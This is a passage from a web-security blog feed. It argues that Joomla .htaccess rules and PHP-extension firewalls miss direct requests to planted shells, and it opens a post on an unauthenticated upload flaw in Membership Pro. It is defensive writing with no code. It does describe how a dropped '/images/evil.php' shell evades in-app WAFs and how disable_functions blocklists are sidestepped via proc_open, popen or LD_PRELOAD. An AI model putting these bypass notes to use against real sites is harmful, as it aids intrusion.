&lt;p&gt;&lt;strong&gt;It keeps no record of its own tampering.&lt;/strong&gt; When an attacker drops or overwrites a malicious &lt;code&gt;.htaccess&lt;/code&gt;, the file raises no alarm about itself. No log line, no alert, no diff, nothing that says &quot;your security file just changed underneath you&quot;. A control that cannot tell you it has been subverted is the exact opposite of what you want, and it is the whole reason the thing that actually catches these break-ins is file-change monitoring watching the &lt;code&gt;.htaccess&lt;/code&gt;, not the &lt;code&gt;.htaccess&lt;/code&gt; watching for itself.&lt;/p&gt;
&lt;h2&gt;The most dangerous thing your .htaccess does is reassure you&lt;/h2&gt;
&lt;p&gt;Everything up to here has been about what a &lt;code&gt;.htaccess&lt;/code&gt; cannot stop. The subtler and more expensive damage is what it makes you &lt;em&gt;feel&lt;/em&gt;. A hardened &lt;code&gt;.htaccess&lt;/code&gt; is enormously reassuring, and that reassurance is very nearly unearned, which makes false confidence the real cost of the whole exercise, well ahead of the CPU it burns.&lt;/p&gt;
&lt;p&gt;Watch how it plays out in practice. You run Admin Tools, you work through the toggles, you get a satisfying &quot;your site is hardened&quot; summary, and a genuine feeling of having done your security homework settles in. Then the critical extension update arrives, the one that actually closes the hole an attacker is about to use, and the urgency to apply it is gone, because you are hardened now. The update can wait until the weekend, or the end of the sprint, or the next time you happen to log in. The hardening did not make you safer. It made you slower to do the one thing, patching, that would have. You swapped a small, real risk reduction for a large, invisible increase in how long you leave known holes standing open. That is a bad trade, and it is a trade almost nobody realises they are making.&lt;/p&gt;
&lt;p&gt;It gets worse when the reassurance is institutional rather than personal, which is precisely what a &quot;secure by default&quot; &lt;code&gt;.htaccess&lt;/code&gt; shipped in Joomla core would become. Push a stricter default onto a million installs and you also push a message to a million site owners: security is handled, the project has taken care of it, you can relax. For the one narrow risk the rule addresses, that message is true. For the SQL injection, the unauthenticated upload, the add-an-admin, the abandoned dev site next door, everything that actually gets sites owned, it is false, and now it is being broadcast at scale with the authority of the core team behind it. A green tick that covers a sliver of your real risk but reads as &quot;you are protected&quot; is not neutral. It actively suppresses the behaviour, patching and monitoring, that covers everything else.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning: hardening is not the same as being patched&lt;/p&gt;
  &lt;p&gt;The most common pattern we see in the hours before a compromise is not an unhardened site. It is a hardened site running an extension three versions behind, whose owner deferred the update because the site &quot;was secure&quot;. Hardening and patching are not substitutes for one another. If you only have time for one this week, patch: the update actually closes the hole, while the &lt;code&gt;.htaccess&lt;/code&gt;, at its very best, makes one narrow corner of the site slightly less convenient to abuse after the break-in has already happened.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The false confidence also starves the one thing that actually catches a breach. If you genuinely believe your &lt;code&gt;.htaccess&lt;/code&gt; is standing between attackers and your site, you will not spend money or attention on file-change monitoring, because why would you, the wall is up. So when an attack routes through &lt;code&gt;index.php&lt;/code&gt; past every rule you own, and it will, nothing is watching for the shell it drops. The compromise your hardening was never going to prevent now also goes undetected, because your hardening persuaded you detection was unnecessary. That is how a site ends up quietly serving pharmacy spam to Google for six months: not because nobody hardened it, but because somebody hardened it and then stopped looking.&lt;/p&gt;
&lt;p&gt;Real security is uncomfortable on purpose. It assumes the wall will be bypassed, it keeps patching as though there were no wall, and it watches for the breach as though it were inevitable, because it is. A &lt;code&gt;.htaccess&lt;/code&gt; that lulls you out of doing those three things has cost you far more than it ever protected.&lt;/p&gt;
&lt;p&gt;And if you are thinking that this is precisely why you bought a firewall rather than relying on a text file, the next two sections are for you, because the trap has a second door.&lt;/p&gt;
&lt;h2&gt;Not all WAFs are equal - the most popular, by definition, slow down your sites a little!&lt;/h2&gt;
&lt;p&gt;Earlier I gave a web application firewall the credit for the one block that actually happened, and said it was the WAF rather than the &lt;code&gt;.htaccess&lt;/code&gt; that caught it. So it is worth being as precise about firewalls as I have tried to be about everything else here. &quot;WAF&quot; is one word covering several quite different things sitting at different layers of the stack, and the layer decides both what the thing can catch and what it costs you to run.&lt;/p&gt;
&lt;p&gt;Start with the kind most Joomla sites actually run, because it is the kind that gets sold to them: a PHP web application firewall, installed into Joomla as a component or a system plugin. It is the most popular sort by a distance, and it slows your site down by definition. That is a structural fact about where it sits rather than a criticism of how it is written. To inspect a request at all it must first be running, which means the PHP process has already started and Joomla&apos;s framework has already booted far enough to load system plugins, which is most of the fixed cost of a page view before any of your actual content is involved. Only then does the rule set run: a long list of regular expressions, evaluated in loops, against every parameter, every header and every cookie, on every single request that arrives, including the overwhelming majority that were always perfectly ordinary.&lt;/p&gt;
&lt;p&gt;That cost is not incidental to the protection, it &lt;em&gt;is&lt;/em&gt; the protection. The reason a PHP WAF can catch a SQL injection payload that your &lt;code&gt;.htaccess&lt;/code&gt; never could is that it is deep enough inside the request to see the parameter values after Joomla has parsed them, and being that deep is exactly what makes it expensive. Every request pays for the inspection, and your customer&apos;s request pays precisely the same as the attacker&apos;s. Popularity then compounds it: the most-installed security extension in the ecosystem is, by definition, the one charging that per-request tax to the most sites.&lt;/p&gt;
&lt;p&gt;The best place for a web application firewall is the server layer, or better still the edge, in front of your server entirely: ModSecurity as an Apache or Nginx module, or a real edge WAF like Cloudflare. Put it at the edge and a malicious request is inspected and refused in a datacentre near the attacker, before it has touched your server at all, let alone started a PHP process or booted Joomla. Your origin spends nothing on it, and your legitimate visitors are not paying a regex tax on every page view for the privilege. It also cannot be got at: a WAF at the edge sits outside the folder tree, outside the application, and outside the reach of whoever compromises the site. It is not a checkbox on a settings screen inside the very thing being attacked, so it cannot be unticked by a frustrated administrator, switched off by a rogue Super User, or overridden by a dropped &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: how far a request travels before each WAF sees it&lt;/p&gt;
  &lt;p&gt;An edge WAF inspects the request at a datacentre near the visitor and drops it there: your server never receives it, so there is no connection to your origin, no Apache worker, no PHP process and no database query. A server-level WAF such as ModSecurity sees the request once it has reached your box and been parsed by the web server, and inspects it in compiled C before PHP is involved, costing you a little CPU and no PHP. A PHP WAF inside Joomla sees it last of all, once your server has accepted the request, started a PHP process, and booted the framework far enough to run system plugins.&lt;/p&gt;
  &lt;p&gt;So the further back the firewall sits, the more of your stack an attacker gets to spend before being told no, and the more of it your real visitors spend too.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;A Joomla extension WAF only sees what index.php sends it, and the hacker&apos;s most important requests never go near it&lt;/h2&gt;
&lt;p&gt;The layer problem has a sibling, and this one is worse, because it is a coverage problem. A web application firewall installed as a Joomla extension is not the god layer you are looking for, and the reason has nothing to do with the quality of its rules. It only ever inspects the requests that Joomla hands it. It is a system plugin. It runs because Joomla ran. Its entire field of view is the set of requests that were routed through &lt;code&gt;index.php&lt;/code&gt; and got far enough into the application to fire a plugin event. Anything that reaches PHP by another path is, to that firewall, silent.&lt;/p&gt;
&lt;p&gt;Take our own connector, because it is the cleanest example I can give you and it is one I am responsible for. It is a PHP file sitting in a subfolder of your site, and it is requested directly, by design, for a reason worth stating plainly: it has to keep working on the day Joomla does not. When mySites.guru talks to that file, the request never touches &lt;code&gt;index.php&lt;/code&gt;, never boots the Joomla application, and never fires a plugin event. It is therefore never seen by RSFirewall!, never seen by Admin Tools&apos; WAF, and never seen by any other PHP firewall installed as a Joomla extension. Those firewalls are not ignoring the request. They are not running at all. Nothing woke them up.&lt;/p&gt;
&lt;p&gt;That is fine for us, because the connector authenticates every request itself and is built to stand on its own, which is the same standard I am asking you to hold everything else to. The point is what it proves about the firewall. There is a live PHP endpoint in your webspace, being requested every single day, that your security extension has no visibility of whatsoever. And if that is true of a file you installed deliberately and know about, ask yourself what else it is true of.&lt;/p&gt;
&lt;p&gt;The answer is: every directly-requested &lt;code&gt;.php&lt;/code&gt; file on the site. Akeeba&apos;s &lt;code&gt;kickstart.php&lt;/code&gt;. The updater&apos;s &lt;code&gt;extract.php&lt;/code&gt;. Any extension that ships a standalone endpoint. Any leftover script from an old installation, a migration tool someone uploaded once, a phpinfo file from a debugging session in 2019, the whole forgotten dev copy sitting in &lt;code&gt;./public_html/old&lt;/code&gt;. None of it routes through &lt;code&gt;index.php&lt;/code&gt;, so none of it is inspected, and the firewall&apos;s dashboard will still cheerfully report that it is protecting your site.&lt;/p&gt;
&lt;p&gt;And then there is the one that actually costs you the site. Go back to the two-stage attack. Stage one is the exploit, and yes, that usually does arrive through &lt;code&gt;index.php&lt;/code&gt;, which is precisely why a PHP WAF can sometimes catch it, as one did for us. Stage two is the attacker requesting the file they just planted: a plain GET to &lt;code&gt;/images/evil.php&lt;/code&gt;. That request does not go through &lt;code&gt;index.php&lt;/code&gt;. It does not boot Joomla. It does not fire a plugin event. Your WAF is not consulted and cannot be. So the firewall you are trusting gets exactly one chance to stop the whole attack, the request that plants the shell, and it only has to miss once. From that moment it is blind to every request the attacker makes for as long as they care to keep making them. The backdoor they run commands through for the next six months is invisible to your web application firewall, because your web application firewall lives inside the application, and the backdoor does not need the application.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Yes, I know about auto_prepend_file, and no, it does not rescue this&lt;/p&gt;
  &lt;p&gt;Some firewalls can hook every PHP script rather than only the ones Joomla routes, using PHP&apos;s &lt;code&gt;auto_prepend_file&lt;/code&gt; directive to force their own entry point to execute before any script on the site runs. Credit where it is due: that is the right instinct, and it genuinely does close the blind spot described above. The shell at &lt;code&gt;/images/evil.php&lt;/code&gt; would then be inspected too, because the firewall runs before it does. There are two problems with reaching for it as the answer.&lt;/p&gt;
  &lt;p&gt;The first is the bill, and it is the previous section&apos;s argument made worse. You have gone from &quot;run the whole rule engine on every request Joomla handles&quot; to &quot;run the whole rule engine before every PHP file on the server executes&quot;, including plenty that Joomla knows nothing about and that were never worth inspecting. Everything on the box gets slower, not just Joomla. The second problem is the one that settles it: you can only do this if you are permitted to. &lt;code&gt;auto_prepend_file&lt;/code&gt; is set in &lt;code&gt;php.ini&lt;/code&gt;, in a &lt;code&gt;.user.ini&lt;/code&gt;, or through &lt;code&gt;php_value&lt;/code&gt; in a &lt;code&gt;.htaccess&lt;/code&gt; under &lt;code&gt;mod_php&lt;/code&gt;, and on most shared hosting you have no &lt;code&gt;php.ini&lt;/code&gt; of your own, &lt;code&gt;php_value&lt;/code&gt; 500s the entire site the moment PHP is running as FPM or CGI rather than &lt;code&gt;mod_php&lt;/code&gt; (which is now the norm), and whether &lt;code&gt;.user.ini&lt;/code&gt; is exposed to you at all is your host&apos;s decision, not yours. So the fix for the extension WAF&apos;s blind spot turns out to need precisely the server-layer access that most Joomla site owners do not have. And if you &lt;em&gt;do&lt;/em&gt; have that access, the question answers itself: you had the server layer all along, so put the firewall there in the first place, where it is cheaper, sees everything, and cannot be switched off from inside the site.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;So the question worth asking out loud about any security extension is a coverage question rather than a rules question: what proportion of the PHP that can execute on your server does this thing actually see? For a Joomla extension WAF the honest answer is &quot;the proportion that goes through &lt;code&gt;index.php&lt;/code&gt;&quot;, and that excludes every standalone endpoint, every forgotten script, every file belonging to the neighbouring site in your webspace, and every request to the backdoor once it exists. A WAF at the server or the edge has none of those blind spots, for the same structural reason it costs you nothing: it is in front of the server, so it sees every request that arrives, no matter which file the request was for or whether Joomla was ever going to run.&lt;/p&gt;
&lt;p&gt;To be clear, because these two sections have been hard on them: none of this is a case against web application firewalls. Like the &lt;code&gt;.htaccess&lt;/code&gt;, they have a real place, and I would far rather you ran one than did not. A PHP WAF inside Joomla still sees things nothing else in your stack can see, it is still the thing that blocked a live SQL injection for us, and on a shared host with no edge and no ModSecurity available to you it may be the only firewall you are permitted to have. Run it.&lt;/p&gt;
&lt;p&gt;The point is the same one, aimed at a different object: know what your protection actually covers, and do not let it do your thinking for you. How a Joomla extension WAF really works deserves an article of its own, and if I write it, a fair amount of what is above will turn up in it again almost word for word, because the same trap is sitting there waiting. A firewall that shows you a green dashboard while a direct request to a PHP file in a subfolder strolls past it untouched is selling you exactly what a hardened &lt;code&gt;.htaccess&lt;/code&gt; sells: the feeling of having been protected, which has never been the same thing as the fact of it.&lt;/p&gt;
&lt;h2&gt;Secure by design beats a bigger moat&lt;/h2&gt;
&lt;p&gt;So what is the alternative to piling rules onto the gate? Stop thinking about moats, and start thinking about the house.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I don&apos;t lock my garden gate when I go on holiday. Not because I have dug a moat and padlocked the gate, but because the house itself is in order and secure by design. Windows closed and locked. Doors deadbolted. Lights on a timer. Post office told to hold the mail, so no parcels pile up on the porch announcing to the whole street that nobody is home.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A &lt;code&gt;.htaccess&lt;/code&gt; bristling with rules is the chained garden gate and the padlock on the fridge. It looks impressive from the pavement and it changes almost nothing, because the way in was never the gate, and the prize was never the beer. The burglar walks up the drive that has to be there, past the gate, to the front door that has to open. Secure by design is the house: a core and extension stack that validates its own input, checks its own permissions, casts its own integers, and refuses unsafe uploads in its own code, so that it does not &lt;em&gt;matter&lt;/em&gt; how a request arrived or what it carried.&lt;/p&gt;
&lt;p&gt;This is exactly why some genuinely secure architectures need direct access and are not weakened by it. When we built the &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;mySites.guru API around OAuth2, PKCE and per-request access checks&lt;/a&gt;, the security lives in the design of the thing, in what every request is required to prove before anything happens, not in a wall of &lt;code&gt;.htaccess&lt;/code&gt; restrictions bolted on around the outside. And there is a nuance most hardening guides miss entirely: some Joomla exploits only became remote code execution on the newest Joomla, because &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;every earlier version blocked the unsafe upload in core by default&lt;/a&gt;. The thing that actually protected those older sites was secure-by-design core behaviour, an upload filter in Joomla&apos;s own code, not a line in anyone&apos;s &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Friction is the other reason lockdown fails in the real world, and it is worth stating plainly because the Joomla community is about to walk into it. We learned this lesson the hard way with two-factor authentication and passkeys: pile on enough friction and frustrated users switch the protection off entirely, choosing convenience over a safety measure that keeps getting in their way. This is where the fridge lock finally gives itself away. Hunting for your keys and scanning your eyeball every time you want milk for your coffee is a cost you pay every single morning, and the burglar it defends against is hypothetical and has not turned up yet. Nobody keeps that up. The lock gets propped open, then taken off, and the person who removes it is not being careless, they are being rational about a tax they pay daily for a benefit they have never once observed. A &lt;code&gt;.htaccess&lt;/code&gt; so aggressive that it 403s your own staff, breaks a legitimate extension, or blocks a genuine customer search, gets loosened, commented out, or deleted the first time it causes a support ticket. Security that people turn off is not security. It is a feature with a short half-life.&lt;/p&gt;
&lt;h2&gt;Real security lives in the server layer, not the app&apos;s folder tree&lt;/h2&gt;
&lt;p&gt;There is a deeper architectural point underneath everything above, and once you see it you cannot unsee it. A &lt;code&gt;.htaccess&lt;/code&gt; is a configuration file that lives &lt;em&gt;inside your application&apos;s folder tree&lt;/em&gt;, in the same browsable directories as your images and your PHP. That is the wrong place for security to live, and the whole industry has spent the last decade moving configuration in the opposite direction: out of the app tree, into the server, the environment, and the platform.&lt;/p&gt;
&lt;p&gt;We already learned this lesson with plain configuration, long before anyone argued about security. The &lt;a href=&quot;https://12factor.net/config&quot;&gt;Twelve-Factor App&lt;/a&gt;, about as close as modern web development has to a shared rulebook, says config belongs in &lt;em&gt;the environment&lt;/em&gt;, injected by the server or the process, not in files that sit alongside your code. The reasoning is the same one: a file in the app tree can be read, checked in, copied, downloaded, or edited by the wrong person. A &lt;code&gt;.env&lt;/code&gt; file dropped into your document root is the textbook anti-pattern, a plain-text file full of database passwords sitting in the web-served tree, and the thing most often &quot;protecting&quot; it from being downloaded is a &lt;code&gt;.htaccess&lt;/code&gt; rule, one that can be absent, mis-ordered, or 500 the whole site on a bad line. You end up using one app-tree file to guard another, when the real answer is to keep the secrets out of the tree entirely.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Technical detail: where config and controls actually belong&lt;/p&gt;
  &lt;p&gt;The Twelve-Factor App&apos;s config rule is to store configuration in environment variables set by the deploy environment, not in files committed with the code, precisely because files in the tree get read, served, or checked in by accident. In practice that means credentials live in Apache &lt;code&gt;SetEnv&lt;/code&gt;/&lt;code&gt;SetEnvIf&lt;/code&gt; at the vhost level, Nginx &lt;code&gt;fastcgi_param&lt;/code&gt;, a systemd &lt;code&gt;Environment=&lt;/code&gt; line, or a container&apos;s env, none of which sit inside the web-served folder tree at all.&lt;/p&gt;
  &lt;p&gt;The containment controls that actually limit a breach live at that same layer and are equally out of a &lt;code&gt;.htaccess&lt;/code&gt;&apos;s reach: per-account Unix users and per-site PHP-FPM pools, &lt;code&gt;open_basedir&lt;/code&gt;, CageFS jails, a read-only application filesystem, and firewall rules. You cannot express a single one of them as a directive in a file in your webroot, which is exactly why they hold: an attacker who reaches your folder tree still cannot rewrite the rules that are keeping them boxed in.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Set those same values at the server layer instead and they never touch the browsable tree. Now apply the identical principle to &lt;em&gt;security&lt;/em&gt;, because it is the identical principle. The controls that actually contain a Joomla compromise all live at the server layer, and none of them are things you can write in a file in your webroot: separate Unix users and separate PHP-FPM pools per site, &lt;code&gt;open_basedir&lt;/code&gt; and CageFS jails, a read-only application filesystem, network firewall rules, a real WAF at the edge. These are what stop a break-in on one site from reading every other site&apos;s &lt;code&gt;configuration.php&lt;/code&gt;, what stop a web shell from spawning a system shell, what stop a leaked credential from reaching the database. Every one of them sits at the layer a &lt;code&gt;.htaccess&lt;/code&gt; cannot touch. The closer a control lives to the server and the further from your browsable folder tree, the harder it is to read, to tamper with, or to expose by accident, and the more it is genuinely worth.&lt;/p&gt;
&lt;p&gt;One server-layer setting is worth calling out precisely because it is the exception rather than an example. &lt;code&gt;disable_functions&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt; looks like a real control and is really a blocklist, which means it inherits every weakness this article has already pinned on blocklists, only moved to the server. It does nothing until an attacker is already executing PHP on your box, at which point, by definition, you are already compromised. And once they are in, disabling &lt;code&gt;exec&lt;/code&gt; and &lt;code&gt;system&lt;/code&gt; merely sends them to &lt;code&gt;proc_open&lt;/code&gt;, &lt;code&gt;popen&lt;/code&gt;, &lt;code&gt;pcntl_exec&lt;/code&gt;, an &lt;code&gt;LD_PRELOAD&lt;/code&gt; trick, or simply writing a file and letting something else run it. It is the fridge lock of the server layer: it inconveniences a burglar who is already standing in your kitchen, and only until he notices the jewellery is in the next room. Worth having as a last thin layer, never mistaken for the thing keeping him out.&lt;/p&gt;
&lt;p&gt;Now here is the honest, uncomfortable part, and it is the reason &lt;code&gt;.htaccess&lt;/code&gt; hardening will not simply go away. Joomla is mass-market software, and most Joomla sites live on shared hosting where the owner has no access to the server layer whatsoever: no vhost config, no systemd, no firewall, no per-account isolation they control, often not even a real &lt;code&gt;php.ini&lt;/code&gt; of their own. For those users the &lt;code&gt;.htaccess&lt;/code&gt; is not a bad choice among good ones. It is the &lt;em&gt;only&lt;/em&gt; lever they are handed, the single scrap of server-adjacent configuration a shared-hosting customer is allowed to touch. So the stubborn persistence of &lt;code&gt;.htaccess&lt;/code&gt; hardening is not really evidence that it is good security. It is evidence that the hosting model has locked users out of the layer where security actually lives, and left them a per-directory file in the app tree as a consolation prize. That is a real trade-off, and it is precisely why a &quot;secure by default&quot; &lt;code&gt;.htaccess&lt;/code&gt; is such a tempting idea for a project like Joomla: for a huge share of its users, that file is the only surface the project can reach at all.&lt;/p&gt;
&lt;p&gt;But recognising the trade-off is not the same as pretending the file is something it is not. If shared hosting is your reality, use the &lt;code&gt;.htaccess&lt;/code&gt; for what it is worth, and keep your expectations of it honest. When you &lt;em&gt;can&lt;/em&gt; choose, choose the layer where security actually lives: hosting that gives you real per-site isolation, configuration kept in the environment rather than in files in the tree, and application code that defends itself so it stops mattering which folder an attacker reaches. A bigger, cleverer file in the folder tree is not the destination. It is what you settle for when you have been locked out of the room where the real controls are.&lt;/p&gt;
&lt;h2&gt;So should you delete your Joomla .htaccess?&lt;/h2&gt;
&lt;p&gt;No. This is not an argument to throw the file away, and I want to be completely clear about that, because &quot;your &lt;code&gt;.htaccess&lt;/code&gt; is not security&quot; is easy to misread as &quot;your &lt;code&gt;.htaccess&lt;/code&gt; is worthless&quot;. It is not worthless. It is just not what you think it is.&lt;/p&gt;
&lt;p&gt;Keep your &lt;code&gt;.htaccess&lt;/code&gt;, and keep it doing the jobs it is genuinely good at.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;What a .htaccess is genuinely good for&lt;/p&gt;
  &lt;p&gt;Forcing HTTPS and HSTS. Blocking direct browser access to sensitive files like configuration.php, .git and backup archives. Handling redirects and canonical URLs. Setting sensible security response headers. A sane hardening baseline from a tool like Admin Tools, as one thin layer of defence in depth. These are all worth doing. None of them is the same thing as stopping a vulnerability.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The distinction that matters is between using the &lt;code&gt;.htaccess&lt;/code&gt; for those narrow, real jobs, and mistaking it for the thing that stands between an attacker and a bug. It is a safety net for a specific, limited set of problems. It is not the perimeter, it is not a firewall, and it is never the thing that fixes the vulnerable code itself.&lt;/p&gt;
&lt;p&gt;If you want the order of priority that actually keeps Joomla sites standing, it looks like this, and notice where hardening the &lt;code&gt;.htaccess&lt;/code&gt; sits:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run current, well-maintained code.&lt;/strong&gt; The overwhelming majority of real-world compromises exploit a known, already-patched bug in an outdated extension. Patching promptly is worth more than every rewrite rule you could ever write, combined. This is the single highest-value thing you can do.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prefer secure-by-design extensions&lt;/strong&gt; that validate their own input, cast their own integers, and check their own permissions, rather than extensions that assume the server will catch what they let through. When you evaluate a plugin, this is what you are really evaluating.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Watch for change.&lt;/strong&gt; When an attack does route through &lt;code&gt;index.php&lt;/code&gt;, and it will, the tell is a file appearing or changing that should not have. &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time file-modification alerting&lt;/a&gt; catches the shell the moment it is written, and a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect-content scan&lt;/a&gt; surfaces the ones already sitting there from before you were watching.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then, and only then, harden the .htaccess&lt;/strong&gt; as a thin extra layer, with a clear-eyed understanding of exactly how little of your actual risk it addresses.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do all four and the &lt;code&gt;.htaccess&lt;/code&gt; is a useful part of a real defence. Do only the fourth, and you have a chained gate on an open house.&lt;/p&gt;
&lt;h2&gt;How mySites.guru watches regardless of your .htaccess&lt;/h2&gt;
&lt;p&gt;Because the real attacks come through approved endpoints, the defence that matters is not another wall at a door the attacker was never going to try. It is knowing, immediately, when something on the other side of that door has changed. That is a monitoring problem, not a rewrite-rule problem, and it is the problem mySites.guru is built to solve.&lt;/p&gt;
&lt;p&gt;mySites.guru indexes every extension on every connected site and cross-references their versions against vulnerability data twice a day, so you find out that a site is running a component with a known flaw before an attacker&apos;s scanner does, with no &lt;code&gt;.htaccess&lt;/code&gt; rule required and nothing to hand-configure. It watches your files for modification and alerts you when one changes unexpectedly, which is how you catch a web shell that rode in through &lt;code&gt;index.php&lt;/code&gt; past every rewrite rule you own, in the minutes after it appears rather than the weeks after your traffic collapses. And when the worst does happen, the connector keeps reporting even if Joomla itself is flat on its back, because it was deliberately built to be independent of the site it is monitoring.&lt;/p&gt;
&lt;p&gt;If you are not sure what state your sites are actually in, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on any Joomla site and see what it turns up. If you manage a portfolio rather than a single site, mySites.guru lets you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;watch and update dozens or hundreds of Joomla sites&lt;/a&gt; from one place, spotting the vulnerable version across all of them and pushing the fix in one operation. And if one of them is already compromised, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked guide&lt;/a&gt; walks you through cleaning it up properly, without destroying the evidence you will want later.&lt;/p&gt;
&lt;p&gt;Harden your &lt;code&gt;.htaccess&lt;/code&gt; if you like. Just do not go on holiday with the gate chained, a padlock on the fridge, and every window in the house wide open.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Htaccess_examples_(security)&quot;&gt;Joomla htaccess examples (security)&lt;/a&gt; - the official documentation, including the antispam and Easter-egg rules dissected above&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://httpd.apache.org/docs/current/howto/htaccess.html&quot;&gt;When (not) to use .htaccess files&lt;/a&gt; - Apache&apos;s own guidance on the per-request performance cost of &lt;code&gt;.htaccess&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.nginx.org/blog/converting-apache-to-nginx-rewrite-rules&quot;&gt;Nginx does not support per-directory config files&lt;/a&gt; - Nginx&apos;s own guide on migrating Apache &lt;code&gt;.htaccess&lt;/code&gt; rules into central configuration&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/caddyserver/caddy/issues/4091&quot;&gt;Caddy will not support .htaccess (issue #4091)&lt;/a&gt; - the maintainers on why it is neither feasible nor in keeping with a modern server&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/48076&quot;&gt;Joomla pull request #48076&lt;/a&gt; - the open proposal to whitelist allowed file types in the media directories&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/manual/en/ini.core.php#ini.expose-php&quot;&gt;PHP expose_php directive&lt;/a&gt; - the one-line server-layer setting that replaced the Easter-egg rewrite rule&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://12factor.net/config&quot;&gt;The Twelve-Factor App: Config&lt;/a&gt; - why configuration belongs in the environment, not in files sitting inside the app&apos;s folder tree&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.akeeba.com/products/admin-tools&quot;&gt;Akeeba Admin Tools&lt;/a&gt; - the checkbox-driven &lt;code&gt;.htaccess&lt;/code&gt;, Nginx and web.config makers, the gold standard for doing hardening from inside Joomla&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.joomla.org/security-centre/1031.html&quot;&gt;CVE-2026-23898 on the Joomla Security Centre&lt;/a&gt; - the arbitrary file deletion flaw in com_joomlaupdate&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>htaccess</category><category>hardening</category><category>vulnerability</category><enclosure url="https://mysites.guru/_astro/your-htaccess-wont-stop-a-joomla-hack.CkKprIae.png" length="0" type="image/png"/></item><item><title>Membership Pro 4.6.2: A Quiet Fix for Anonymous File Uploads</title><link>https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/</link><guid isPermaLink="true">https://mysites.guru/blog/membership-pro-unauthenticated-file-upload/</guid><description>Membership Pro 4.6.2 quietly fixes the same anonymous upload flaw we reported in Events Booking. Now CVE-2026-62415, rated critical. What to do about it.</description><pubDate>Tue, 21 Jul 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/membership-pro-joomla-membership-subscription.html&quot;&gt;Membership Pro&lt;/a&gt; is one of the most widely used membership and subscription components for Joomla. It runs paid memberships, recurring subscriptions and gated content, which means the people signing up are handing over their details, and sometimes their money, to a form on your site. On 21 July 2026 its developer, JoomDonation, released &lt;strong&gt;Membership Pro 4.6.2&lt;/strong&gt; with what the customer email calls &quot;security improvements for file upload handling.&quot;&lt;/p&gt;
&lt;p&gt;Read that phrasing next to what we published the day before. We had just reported an unauthenticated file upload flaw in &lt;a href=&quot;https://mysites.guru/blog/events-booking-unauthenticated-upload-user-enumeration/&quot;&gt;Events Booking&lt;/a&gt;, the event registration component from the &lt;strong&gt;same developer&lt;/strong&gt;, built on the &lt;strong&gt;same controller framework&lt;/strong&gt;, with the &lt;strong&gt;same File custom field upload feature&lt;/strong&gt;. Membership Pro 4.6.2 is that fix, applied to the sister product.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;p&gt;What changed&lt;/p&gt;
    &lt;p&gt;Before 4.6.2, having Membership Pro installed meant an unauthenticated visitor could upload files to your web server, whether or not your site used the feature that upload belongs to.&lt;/p&gt;
    &lt;p&gt;The vendor&apos;s own release notes describe them as &quot;unauthenticated upload files&quot; and ship a tool to delete the ones already left behind.&lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If you run Membership Pro on any Joomla site, update to &lt;strong&gt;4.6.2&lt;/strong&gt; now and run the cleanup tool it ships. Everything at or below 4.6.1 is affected.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we know. We found and reported the anonymous upload flaw in Events Booking, which carries three CVEs. We have not pulled the Membership Pro source apart line by line the way we did Events Booking, and we do not need to. This account is built on JoomDonation&apos;s own release email for 4.6.2 and on our full audit of the identical flaw in its sibling component. Where we are inferring rather than confirming, we say so.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Membership Pro 4.6.2 fixes an unauthenticated file upload endpoint.&lt;/strong&gt; Subscribers upload files through it when a site uses File custom fields, and before 4.6.2 it was reachable by anonymous visitors even on sites that had never created a File field&lt;/li&gt;
